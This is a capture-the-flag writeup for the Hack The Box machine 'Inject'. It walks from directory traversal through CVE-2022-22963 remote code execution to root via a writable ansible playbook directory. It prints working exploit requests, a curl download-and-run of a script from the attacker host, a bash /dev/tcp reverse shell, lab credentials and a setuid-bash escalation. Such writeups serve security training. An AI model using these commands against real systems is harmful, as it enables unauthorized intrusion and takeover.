Inject Writeup

09 July 2023 #CTF #HTB #box #easy #linux

inject info

(Yes I still can't crop properly)

Enumeration

You guessed it: nmap time:

$ sudo nmap -sCV -oN enum/initial.nmap 10.10.11.204
[...]
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

Going to the website, we get a standard page:

index

There's a 'Sign Up' button but it's not ready yet:

register

There's also an upload page but it only accepts images:

upload

We could spend a lot of time here and try a bunch of stuff (definitely not what I did), but let's just continue the enumeration.

Let's do some directory bruteforcing to discover more pages:

$ feroxbuster -u http://10.10.11.204:8080/
[...]
200      GET      166l      487w        0c http://10.10.11.204:8080/
200      GET      104l      194w        0c http://10.10.11.204:8080/register
500      GET        1l        3w        0c http://10.10.11.204:8080/error
200      GET       54l      107w        0c http://10.10.11.204:8080/upload
200      GET      112l      326w        0c http://10.10.11.204:8080/blogs
500      GET        1l       27w        0c http://10.10.11.204:8080/environment
400      GET        1l       13w        0c http://10.10.11.204:8080/show_image
200      GET       34l       77w        0c http://10.10.11.204:8080/release_notes

/environment reveals that the web app is built with the Java Spring Boot framework:

$ curl http://10.10.11.204:8080/environment -s | jq .
{
  "timestamp": "2023-03-13T12:08:39.523+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "Discovered 3 methods that would qualify as 'functional' - [protected java.lang.String org.springframework.boot.ApplicationServletEnvironment.doGetActiveProfilesProperty(), protected java.lang.String org.springframework.boot.ApplicationServletEnvironment.doGetDefaultProfilesProperty(), protected org.springframework.core.env.ConfigurablePropertyResolver org.springframework.boot.ApplicationServletEnvironment.createPropertyResolver(org.springframework.core.env.MutablePropertySources)].\n Class 'class org.springframework.boot.ApplicationServletEnvironment' is not a FunctionalInterface.",
  "path": "/environment"
}

The /show_image page gave us a 400 error. Let's take a look:

$ curl http://10.10.11.204:8080/show_image -s | jq .
{
  "timestamp": "2023-03-13T12:10:22.026+00:00",
  "status": 400,
  "error": "Bad Request",
  "message": "Required request parameter 'img' for method parameter type String is not present",
  "path": "/show_image"
}

Note that we don't see this error message in the browser because it sends an Accept: text/html header, and the HTML version is just a blank page. curl, on the other hand, sends an Accept: */* which accepts everything so we get JSON output (same for /environment).

It wants an img parameter. Let's do it:

$ curl 'http://10.10.11.204:8080/show_image?img=test' -s | jq .
{
  "timestamp": "2023-03-13T12:15:34.195+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "URL [file:/var/www/WebApp/src/main/uploads/test] cannot be resolved in the file system for checking its content length",
  "path": "/show_image"
}

It's trying to get an image called 'test' in the uploads directory and failed. We can test if it's vulnerable to directory traversal:

$ curl --path-as-is 'http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
[...]

Nice, it works. We need to use the --path-as-is flag, otherwise curl will normalize the path.

Foothold

After some time looking around the filesystem, we find /var/www/WebApp/pom.xml which contains the versions of the dependencies of the web application:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
[...]
  <dependency>
          <groupId>org.springframework.cloud</groupId>
          <artifactId>spring-cloud-function-web</artifactId>
          <version>3.2.2</version>
  </dependency>
[...]

This specific version of springframework.cloud is vulnerable to CVE-2022-22963, an unauthenticated RCE. This repo has commands to exploit this vulnerability:

$ curl 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java. lang.Runtime).getRuntime().exec("curl -o /dev/shm/s 10.10.14.4/s")' -d 'data'
$ curl 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java. lang.Runtime).getRuntime().exec("bash /dev/shm/s")' -d 'data'

It seems we can't use stuff like pipes or redirections so we have to download the reverse shell script from our attack box and then execute it.

Our reverse shell script just contains bash -i >& /dev/tcp/10.10.14.4/443 0>&1.

Privesc

Frank to Phil

We can find some creds for the Phil user in /home/frank/.m2/settings.xml:

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

With these, we can su -l phil to login (ssh is disabled for that user).

Phil to root

After uploading and running pspy on the box, we see a cron job running as root:

[...]
2023/03/14 14:14:05 CMD: UID=0 PID=11536 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
[...]

It is using ansible which an automation tool. Phil is a member of the 'staff' group which can write to the directory where the playbook is located:

phil@inject:~$ groups
phil staff
phil@inject:~$ find / -group staff -ls 2> /dev/null | grep -vE '/sys|/run|/proc'
  183353  4 drwxrwxr-x 2 root  staff   4096 Mar 14 14:06 /opt/automation/tasks
[...]
phil@inject:~$ ls -l /opt/automation/tasks
total 4
-rw-r--r-- 1 root root 150 Apr  9 15:16 playbook_1.yml

playbook_1.yml is owned by root but we have write access to the directory so we can just overwrite it.

We'll create a new playbook that sets /bin/bash as setuid (docs):

- hosts: localhost
  tasks:
  - name: gimmeroot shell plz
    ansible.builtin.shell: chmod u+s /bin/bash

Move the playbook over /opt/automation/tasks/playbook_1.yml:

phil@inject:~$ mv -f root.yml /opt/automation/tasks/playbook_1.yml

Then we wait 1 or 2 minutes and get the setuid bash:

phil@inject:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:~$ bash -p
bash-5.0# id
uid=1001(phil) gid=1001(phil) euid=0(root) groups=1001(phil),50(staff)
bash-5.0# chmod u-s /bin/bash

If you use this setuid bash technique, don't forget to unset it right after you get the root shell to not spoil the box for others (:

Key Takeaways